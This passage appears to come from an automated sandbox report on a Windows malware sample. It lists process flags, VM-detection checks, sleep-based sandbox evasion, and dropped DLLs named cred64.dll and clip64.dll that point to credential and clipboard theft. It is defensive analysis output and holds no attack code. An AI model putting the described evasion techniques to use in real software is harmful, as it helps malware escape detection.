Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B677.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dialer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\AppData\Roaming\utihrjr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Memory allocated: 18E5DA90000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Memory allocated: 18E77780000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Memory allocated: 179E7450000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Memory allocated: 179E9040000 memory reserve | memory write watch
Contains functionality to detect virtual machines (STR)
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486ECAC1C str word ptr [eax-75h] 2_3_00007DF486ECAC1C
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Thread delayed: delay time: 180000
Source: C:\Windows\SysWOW64\explorer.exe Thread delayed: delay time: 600000
Source: C:\Windows\SysWOW64\explorer.exe Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5929 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3890 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 431 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 953 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 509 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 357 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 882 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Window / User API: threadDelayed 467
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\B88B.exe API coverage: 3.8 %
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe API coverage: 2.7 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5224 Thread sleep count: 5929 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5852 Thread sleep count: 3890 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5052 Thread sleep time: -9223372036854770s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 1984 Thread sleep count: 431 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7128 Thread sleep count: 953 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7128 Thread sleep time: -95300s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 5944 Thread sleep count: 509 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 5944 Thread sleep time: -50900s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6172 Thread sleep count: 218 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7144 Thread sleep count: 357 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 7144 Thread sleep time: -35700s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6248 Thread sleep count: 298 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 5308 Thread sleep time: -930000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 2892 Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 5052 Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe TID: 5308 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 5376 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 2536 Thread sleep count: 57 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 2536 Thread sleep time: -57000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2284 Thread sleep count: 54 > 30
Source: C:\Windows\explorer.exe TID: 2284 Thread sleep time: -54000s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1284 Thread sleep count: 63 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1284 Thread sleep time: -63000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 1780 Thread sleep count: 467 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 1780 Thread sleep time: -280200000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 1780 Thread sleep time: -600000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 3588 Thread sleep count: 42 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 3588 Thread sleep time: -42000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2332 Thread sleep count: 46 > 30
Source: C:\Windows\explorer.exe TID: 2332 Thread sleep time: -46000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 5168 Thread sleep count: 55 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 5168 Thread sleep time: -55000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe TID: 3624 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\dialer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\B88B.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\rundll32.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose, 17_2_00BF2B15
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose, 17_2_00BF1D4A
